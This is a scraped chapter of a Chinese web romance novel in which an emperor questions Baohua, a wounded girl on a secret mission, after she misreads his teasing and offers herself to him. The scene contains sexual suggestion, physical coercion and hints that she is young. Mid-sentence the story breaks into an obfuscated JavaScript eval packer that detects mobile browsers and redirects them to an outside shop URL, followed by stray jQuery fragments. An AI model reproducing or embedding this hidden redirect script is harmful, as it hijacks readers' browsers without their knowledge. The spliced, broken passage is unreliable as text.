文趣网 > 其他小说 > 错撩太子他爹后 > 10. 怀疑
    来前月芳说了宝花的嗓子不好,开口说话时很是沙哑,景安帝原以为是多么难听,如今听来,不过是有气声罢了。

    多用些好药,还是能养好的。

    他瞧着宝花那乞怜的样子,眉梢轻挑。

    果然不出他所料,见过了富贵日子,再想回去吃苦就不愿意了,这就不舍得走了。

    他就知道,小女子就是小女子,这凌宝花也没有什么特别,她就是个普通的小女子,知道盘算利益,也想着要攀高枝呢。

    今后日子长了,说不定还要更显露些市侩的气性。

    不走就不走,何至于用这样的姿态求他?

    景安帝看着宝花的眼睛,把她这副略有些讨好的小模样尽收眼底,忽然起了一些玩弄的心思。

    他向后靠去,倚在床栏边,用折扇在床面上轻叩,似乎是在认真思量,宝花的目光也似被牵住了,盯住那扇子看。

    他忽转过头睨着宝花,似笑非笑,透出几分不悦:“你不回去自己的家,还想留下来?”

    宝花仰起脸,身子也微微前倾,似是听到了些许细微的动静就要竖起耳朵的幼猫。

    景安帝轻哼一声,冷冷看着她:“你可知道,为了救你,前前后后用了多少汤药,请了多少回名医?你能做什么?我要留你,谁说我准你留下来了?”

    原是想瞧瞧若他说不愿意,宝花会是什么反应,可是话说出了口,对上宝花那双眼睛,景安帝又有些后悔。

    他想起宝花那别扭的小性子,也怕她再哭出来,他看了心烦。

    虽然太子殿下的语气很怕人,可是宝花听懂了。

    太子殿下在问她能做什么呢,这一定是太子殿下暗示她。

    他如此直白,宝花简直要喜极而泣了。

    这不就是暗示她以身相许吗!

    她被太子殿下捡走许久,总算是进展到这一步了。

    见宝花眼已经湿润了,头也埋了下去,景安帝见势不对,知道不能再逗下去了,才道:“我只是说玩笑话。”就看到宝花膝行到他面前。

    他正不解她要做什么,就见她一手扯下了自己的外衣,领口顺着她圆润的肩头滑下去,露出大片冷白的肌肤和几道尚未消尽的红痕。

    她的一只手已经搭在了他的腰封边缘。

    景安帝一怔,喉结微动,目光沿着宝花的指节攀至她肩头,方才猛地忙按住她的手。

    “你做什么!”

    宝花被他握住了手,不由得周身一颤。

    先前太子殿下只是摸她的头,她便感到太子殿下的手很大了,如今才真正知道,原来他的掌心可以把她整只手掌都包握其中。

    原来他单手就可以抓住她的两只手臂,握着她的腰把她按在床上,她……她今后要提防小心他。

    他的手好烫。

    为什么,他已经暗示了自己,为什么忽然又不肯了?

    是她哪里不够好?还是她有什么不对的地方吗?

    景安帝看着宝花衣衫半褪,眼含着泪跪在自己面前的模样,又忽然说不出话来。

    好在月芳眼疾手快,默默上前来,将滑落的衣裳重新为宝花披好,景安帝缓缓松开了手。

    他默默起身整理外衣,走到门边站着,面朝着外头沉沉压下来的暮色,好似在看晚霞。

    月芳一边为宝花系好衣带,一边低声解释:“姑娘是不是会错了意?方才公子是想与你玩笑,并不是有什么别的用意的。”

    宝花不明白有什么好玩笑的。

    如若太子殿下不要她侍奉,不喜欢她的身体,又为什么救她,他才不会只是怜香惜玉呢,他可不能没有别的用意呀……

    为什么?他究竟为什么不抱她,亲她,把她抱起来放到床上,再把她的蹆分开呢?

    宝花的视线忽然落到了一旁的铜镜上。

    她看到自己背上层层裹着的纱布,想起那些已经烂掉了的皮肉,黯然垂下了眼眸。

    沈琼清曾经从背后抱着她,亲她的肩胛,他柔声问她:“凌儿,你背上为何有一道如此长的疤痕?”

    宝花不记得了,大约是刀伤吧,便随口说这是采药的时候被划伤的,他真是奇怪,她专心侍奉他,他却问起不相干的话来了。

    沈琼清喃喃说,真是可惜了,在那处疤痕上吻了又吻,要宝花不必担心,他说如今京中的女孩会用油彩在身上画画,各样各色的花儿,她的伤也能画成花。

    那时候宝花不知道他以为她会担心什么。

    为什么要画呢?疤痕便是疤痕,疼就是疼。

    宝花望向太子殿下的背影,他方才或许是看见了她肩上的伤疤了。

    今晚也失败了,这些时日来,宝花第一次感到挫败。

    完不成任务,她可能不能再回到主人的身边了,可是她不是因为主人才活在这个世上的吗?

    她正恍惚着,忽然被人扶着后颈,强迫地抬起了头。

    是太子殿下,他似乎还是神色不悦,可是却不像方才那样恼怒了。

    景安帝抬着宝花的脸仔细端详,逼她与他对视。

    他不会喜欢这种没有才情,空有一张脸蛋,还颇不通事理的小丫头。

    她在胡思乱想什么?莫不是以为他是想要她什么回报才救她?她把自己当做什么?究竟有没有人教养过她?

    可是,这恼怒和憎恶交织之间,他回想起方才宝花的举止,却不断回想起她锁骨处那粒鲜红的小痣。

    又是一阵阵气血上涌,燥热是方才的晚风也吹拂不走的。

    景安帝缓缓阖目,深重的喘

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877606|212399||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    息,让他的胸膛剧烈起伏,他逼自己冷静下来。

    为什么会想到这些?小小年纪,居然就懂得这些了,居然就把手放在他腰封上了,难道是从前已经有了相好的男子?还是说……

    他心中乍起疑惑,再睁眼,目中又多了几分审视。

    他不是没有怀疑过,只是宝花伤的太重,即便是要派细作前来,用些苦肉计,也没有把人伤得只剩一口气的道理,是之后再查明了宝花的来历,便不再提防。

    可如今想想,或许就是他大意了呢?

    他这几日命人清剿京畿匪贼,严办作奸犯科之事,可内卫来禀,皆言被活捉歹人无人交代曾有欺辱采药女之事。

    景安帝冷冷逼问:“你怎么知道这些事的?”

    宝花心中茫然,不知道他说的什么事。

    景安帝忽然想起了太子,想起那个不知来历的女子,自己的儿子被她迷得神魂颠倒,语气又厉了一分:“你可是未曾婚配,就和旁人厮混在一起?”

    “说!你若撒谎,我现在就命人把你扭送到官府去!”

    这一下,宝花是真的被唬住了,她很怕,害怕的时候,是流不出眼泪的。

    厮混是什么意思?她听不懂。

    太子殿下是不是问她侍奉过别人没有,侍奉过就侍奉过,厮混在一起就厮混在一起,为什么不能呢?

    太子殿下究竟知不知道沈琼清的事呢?怕是已经有了证据吧,这种时候,还是不要撒谎了。

    景安帝的指腹已陷入宝花颊边的软肉,他也不知自己是怎么了,忽然就被勾起了火气,甚至他希望宝花就是一个细作,就是个用心险恶的小毒妇,倒也一了百了。

    宝花含着泪点头,却忽然把小脸往他手心里一偏,低低地叫了声:“……疼。”

    景安帝手一抖,猝然松开了。

    宝花面上慢慢浮起了浅浅的指印,他移开了目光,却示意月芳去取药箱。

    他方才问的问题,宝花已经给了答案,可他还是要再问一遍。

    “……你点头又是什么意思?”

    苦肉计成,宝花心底窃喜,却回答得更小心了。

    “……有过的,不要!不要送走我,求你了……”

    景安帝深吸了一口气,接过月芳拿来的药膏,用指尖抹在宝花面颊上,面色却更加阴沉。

    “不送走你。”

    他的指尖移开,将宝花的脸挑起,沉声问道:“他是什么人?如今在哪里?”

    *

    [太子殿下不喜欢我身上的伤疤]

    [原来太子殿下真正生气是这个样子的]

    [他生起气来很危险,我很害怕,他捏着我的脸,我哪里都去不了]

    [但是他生起气来很好看,他真是威严啊]